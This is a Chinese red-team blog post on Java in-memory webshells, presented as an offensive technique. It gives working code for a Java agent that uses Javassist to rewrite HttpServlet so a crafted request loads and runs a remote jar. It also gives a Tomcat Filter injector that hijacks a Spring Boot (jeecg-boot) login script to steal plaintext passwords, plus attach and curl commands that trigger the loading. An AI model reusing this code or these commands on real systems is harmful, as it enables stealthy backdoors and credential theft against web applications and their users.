在红蓝对抗中,进程内存是兵家必争之地。例如,知名的 Mimikatz 工具(用于提取计算机密码和哈希值)就是通过操作内存来实现的。然而,由于操作内存极为繁琐且复杂,并且大部分软件的特性不一致,导致投入产出比相对较低,所以研究这一领域的人相对较少。
然而,在 Java 安全领域,内存对抗相对较为常见。由于 Java Instrument 机制(在内存中修改类)以及反序列化漏洞,可以通过代码执行来增加 Servlet、Filter 等内存马(这些能够有效规避回显和查杀),并且有众多的内存马工具生态,造就了内存马研究的浪潮。
不过,我个人认为,内存利用的潜力尚未被充分挖掘,因为 蓝军的最终目标是业务权限或数据,而非机器 。我曾遇到以下困扰的问题,后来发现这些问题都可以通过操作内存来解决:
1、遇到 KMS 加密的配置文件时,如何快速解密?
2、如何窃取用户登录 Spring Boot 应用的明文密码,而非 MD5 哈希值?
3、如何窃取二因素认证的 token 以绕过登录验证?
上面这些问题,在java应用中都可以通过Java Instrument解决:dump内存、修改内存class逻辑。这里重点聊一下第二点。
1、增加一个jar loader:做一个loader,方便根据不同目标插入不同的内存马
2、自定义不可描述的事情:比如窃取web js密码明文逻辑:修改返回包 -> 替换返回包 -> 替换js的url(非常完美,本地或远程都可以),跟@skay讨论思路如上。实现过程是通过注入jar Loader注入Filter内存马,改变js的返回路径。
javaassit版本太低了,对于需要修改的目标webapp不兼容(比较高版本的jdk不兼容),版本太高了,编译的agent需要的jdk版本需要jdk8以上。
shellcode,最后的return是让有一个判断,返回为空则说明注入成功。
1javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
2javax.servlet.http.HttpServletResponse response =(javax.servlet.ServletResponse)$2;
3javax.servlet.http.HttpSession session = request.getSession();
4if((request.getQueryString()!=null)&&(request.getQueryString().contains("lPassword")))
5{
6 java.util.Map obj=new java.util.HashMap();
7 obj.put("request",request);
8 obj.put("response",response);
9 obj.put("session",session);
10ClassLoader loader=this.getClass().getClassLoader();
11if(request.getMethod().equals("POST"))
12{
13try{
14String lUrl = request.getParameter("lUrl");
15String lName = request.getParameter("lName");
16 java.net.URL[] urls =new java.net.URL[]{new java.net.URL(lUrl)};
17 java.net.URLClassLoader urlClassLoader =new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
18Class clazz = urlClassLoader.loadClass(lName);
19 java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
20for(int i =0; i < methods.length; i++){
21System.out.println("method: "+methods[i].getName());
22}
23 java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();
24for(int i =0; i < constructors.length; i++){
25System.out.println("constructor: "+constructors[i].getName());
26}
27Object obj = clazz.newInstance();
28return;
29}catch(Exception e){e.printStackTrace();}
30}
31}
agent的代码:AfterDemo.java
1import javassist.ClassClassPath;
2import javassist.ClassPool;
3import javassist.CtClass;
4import javassist.CtMethod;
5import java.lang.instrument.ClassDefinition;
6import java.lang.instrument.Instrumentation;
7import java.util.ArrayList;
8import java.util.HashMap;
9import java.util.List;
10import java.util.Map;
11publicclassAfterDemo{
12publicstaticvoid agentmain(String agentArgs,Instrumentation inst){
13System.out.println("hello I`m agentMain!!!");
14Class<?>[] cLasses = inst.getAllLoadedClasses();
15byte[] bArr =newbyte[0];
16Map<String,Map<String,Object>> targetClasses =newHashMap<>();
17Map<String,Object> targetClassJavaxMap =newHashMap<>();
18 targetClassJavaxMap.put("methodName","service");
19List<String> paramJavaxClsStrList =newArrayList<>();
20 paramJavaxClsStrList.add("javax.servlet.ServletRequest");
21 paramJavaxClsStrList.add("javax.servlet.ServletResponse");
22 targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
23 targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
24Map<String,Object> targetClassJakartaMap =newHashMap<>();
25 targetClassJakartaMap.put("methodName","service");
26List<String> paramJakartaClsStrList =newArrayList<>();
27 paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
28 paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
29 targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
30 targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
31 targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
32ClassPool cPool =ClassPool.getDefault();
33if(ServerDetector.isWebLogic()){
34 targetClasses.clear();
35Map<String,Object> targetClassWeblogicMap =newHashMap<>();
36 targetClassWeblogicMap.put("methodName","execute");
37List<String> paramWeblogicClsStrList =newArrayList<>();
38 paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
39 paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
40 targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
41 targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
42}
43String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n"+
44"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n"+
45"javax.servlet.http.HttpSession session = request.getSession();\n"+
46"String pathPattern=\"/linject\";\n"+
47"if (request.getRequestURI().matches(pathPattern))\n"+
48"{\n"+
49" java.util.Map obj=new java.util.HashMap();\n"+
50" obj.put(\"request\",request);\n"+
51" obj.put(\"response\",response);\n"+
52" obj.put(\"session\",session);\n"+
53" ClassLoader loader=this.getClass().getClassLoader();\n"+
54" if (request.getMethod().equals(\"POST\"))\n"+
55" {\n"+
56" try{\n"+
57" String lUrl = request.getParameter(\"lUrl\");\n"+
58" String lName = request.getParameter(\"lName\");\n"+
59" java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n"+
60" java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n"+
61" Class clazz = urlClassLoader.loadClass(lName);\n"+
62" java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n"+
63" for (int i = 0; i < methods.length; i++) {\n"+
64" System.out.println(\"method: \" +methods[i].getName());\n"+
65" }\n"+
66" java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n"+
67" for (int i = 0; i < constructors.length; i++) {\n"+
68" System.out.println(\"constructor: \" +constructors[i].getName());\n"+
69" }\n"+
70" Object obj = clazz.newInstance();\n"+
71" return;\n"+
72" }catch (Exception e){e.printStackTrace();}\n"+
73" }\n"+
74"}";
75for(Class<?> cls : cLasses){
76System.out.println(cls.getName());
77if(targetClasses.keySet().contains(cls.getName())){
78String targetClassName = cls.getName();
79try{
80System.out.println("found class:"+targetClassName);
81if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){
82 shellCode = shellCode.replace("javax.servlet","jakarta.servlet");
83}
84ClassClassPath classPath =newClassClassPath(cls);
85 cPool.insertClassPath(classPath);
86 cPool.importPackage("java.lang.reflect.Method");
87 cPool.importPackage("javax.crypto.Cipher");
88List<CtClass> paramClsList =newArrayList<>();
89for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){
90 paramClsList.add(cPool.get((String) clsName));
91}
92CtClass cClass = cPool.get(targetClassName);
93String methodName = targetClasses.get(targetClassName).get("methodName").toString();
94CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()]));
95 cMethod.insertBefore(shellCode);
96 cClass.detach();
97byte[] data = cClass.toBytecode();
98 inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)});
99}catch(Exception e){
100 e.printStackTrace();
101}
102break;
103}
104}
105}
106}
1curl -X POST 'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv
MyFilter.java
1import jakarta.servlet.*;
2import jakarta.servlet.http.HttpServletRequest;
3import jakarta.servlet.http.HttpServletResponse;
4import java.io.IOException;
5publicclassMyFilterimplementsFilter{
6@Override
7publicvoid init(FilterConfig filterConfig)throwsServletException{
8Filter.super.init(filterConfig);
9}
10@Override
11publicvoid doFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throwsIOException,ServletException{
12if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
13((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
14}else{
15 filterChain.doFilter(servletRequest, servletResponse);
16}
17}
18
19@Override
20publicvoid destroy(){
21Filter.super.destroy();
22}
23}
Inject.java
1package org.example.testspring4; 2import jakarta.servlet.*; 3import org.apache.catalina.Context; 4import org.apache.catalina.core.ApplicationContext; 5import org.apache.catalina.core.StandardContext; 6import org.apache.tomcat.util.descriptor.web.FilterDef; 7import org.springframework.boot.web.servlet.DispatcherType; 8import org.springframework.web.context.WebApplicationContext; 9import org.springframework.web.context.request.RequestContextHolder; 10import org.springframework.web.context.request.ServletRequestAttributes; 11import org.springframework.web.servlet.support.RequestContextUtils; 12import java.lang.reflect.Constructor; 13import java.lang.reflect.Field; 14import java.util.Map; 15publicclassInject{ 16publicInject(){ 17try{ 18WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); 19System.out.println(context); 20ServletContext servletContext =((org.springframework.web.context.WebApplicationContext)context).getServletContext(); 21Field appctx = servletContext.getClass().getDeclaredField("context");// 获取属性 22 appctx.setAccessible(true); 23ApplicationContext applicationContext =(ApplicationContext) appctx.get(servletContext); 24Field stdctx = applicationContext.getClass().getDeclaredField("context"); 25 stdctx.setAccessible(true); 26StandardContext standardContext =(StandardContext) stdctx.get(applicationContext); 27MyFilter filter =newMyFilter(); 28StringFilterName="shiroFilter"; 29FieldConfigs=null; 30Map filterConfigs; 31Configs=StandardContext.class.getDeclaredField("filterConfigs"); 32Configs.setAccessible(true); 33 filterConfigs =(Map)Configs.get(standardContext); 34Class<?>FilterDef=Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 35Constructor declaredConstructors =FilterDef.getDeclaredConstructor(); 36 org.apache.tomcat.util.descriptor.web.FilterDef o =(org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance(); 37 o.setFilter(filter); 38 o.setFilterName(FilterName); 39 o.setFilterClass(filter.getClass().getName()); 40 standardContext.addFilterDef(o); 41//Step 4 42Class<?>FilterMap=Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 43Constructor<?> declaredConstructor =FilterMap.getDeclaredConstructor(); 44 org.apache.tomcat.util.descriptor.web.FilterMap o1 =(org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance(); 45 o1.addURLPattern("/*"); 46 o1.setFilterName(FilterName); 47 o1.setDispatcher(DispatcherType.REQUEST.name()); 48 standardContext.addFilterMapBefore(o1); 49//Step 5 50Class<?>ApplicationFilterConfig=Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); 51Constructor<?> declaredConstructor1 =ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); 52 declaredConstructor1.setAccessible(true); 53 org.apache.catalina.core.ApplicationFilterConfig filterConfig =(org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o); 54 filterConfigs.put(FilterName, filterConfig); 55}catch(Exception e){ 56 e.printStackTrace(); 57} 58} 59}
需要注入到对应的servlet中去,因为这样就有了这个web app的上下文了,然后就可以通过Jar Loader加载任意java代码了。
注意:new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
每个类加载器都有自己的命名空间,它包含由该类加载器加载的类。在Java中,类的唯一性不仅由类的完全限定名(类名+包名)决定,还由加载它的类加载器决定。 因此,即使两个类加载器加载了相同的类文件,这两个类也被视为不同的类,因为它们位于不同的命名空间中。
1try{ 2 java.net.URL[] urls =new java.net.URL[]{new java.net.URL(url)}; 3 java.net.URLClassLoader urlClassLoader =new java.net.URLClassLoader(urls,this.getClass().getClassLoader()); 4Class clazz = urlClassLoader.loadClass(name); 5 java.lang.reflect.Method[] methods = clazz.getDeclaredMethods(); 6for(java.lang.reflect.Method _method : methods){ 7System.out.println("method: "+ _method); 8} 9 java.lang.reflect.Constructor<?>[] constructors = clazz.getDeclaredConstructors(); 10for(java.lang.reflect.Constructor<?> ctor : constructors){ 11System.out.println("Constructor: "+ ctor); 12} 13Object obj = clazz.newInstance(); 14}catch(Exception e){ 15 e.printStackTrace(); 16}
对app.9fa057ee.js进行劫持成功。
1<dependency> 2 <groupId>org.springframework.boot</groupId> 3 <artifactId>spring-boot-starter-web</artifactId> 4 <version>2.7.18</version> 5</dependency>
1package org.example; 2 3 4import javax.servlet.*; 5import javax.servlet.http.HttpServletRequest; 6import javax.servlet.http.HttpServletResponse; 7 8 9import java.io.IOException; 10 11 12publicclassMyFilterimplementsFilter{ 13@Override 14publicvoidinit(FilterConfig filterConfig)throwsServletException{ 15Filter.super.init(filterConfig); 16} 17 18 19@Override 20publicvoiddoFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throwsIOException,ServletException{ 21if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){ 22((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js"); 23}else{ 24 filterChain.doFilter(servletRequest, servletResponse); 25} 26} 27 28 29@Override 30publicvoiddestroy(){ 31Filter.super.destroy(); 32} 33}
通过agent修改HttpServlet,实现访问任意路径即可加载Jar,注入内存马。
这步就是修改了javax.servlet.http.HttpServlet,可以加载任意的jar中的class执行。
1java -jar agent-attach-java-1.8.jar -pid 83106 -agent-jar /Users/lufei/Downloads/AgentTester/out/artifacts/AgentTester_jar/AgentTester.jar
因为要触发javax.servlet.http.HttpServlet,所以必须在webapp的context上,所以只要成功访问webapp的任意url就可以触发,并且会返回200状态
1curl -X POST 'http://127.0.0.1:8080/jeecg-boot/sys/login?lUrl=http://127.0.0.1/SpringFilter-1.0-SNAPSHOT.jar&lName=org.example.Inject&lPassword' -vvv
这里会看到访问jeecg-boot/webjars/js/app.9fa057ee.js,就会跳转到/app.js,成功被劫持。
1curl 'http://127.0.0.1:8080/jeecg-boot/webjars/js/app.9fa057ee.js' -vv
这里js加载我们修改的js,在js头部插入我们的js代码,这时候可以插入任意js,直接窃取明文密码。
在红蓝对抗中,随着国内监管合规健全以及各类的安全基础设施完善,获取到机器ROOT权限并不意味结束,而是面对另一场对抗。
社群:加我lufeirider微信进群。
知识星球:关注攻击(红蓝对抗、代码审计、渗透、SRC漏洞挖掘等等)与防御(情报、扫描器、应用扫描、WAF、NIDS、HIDS、蜜罐等等)。目前聚焦ai落地攻击和防御。
攻防与防御回顾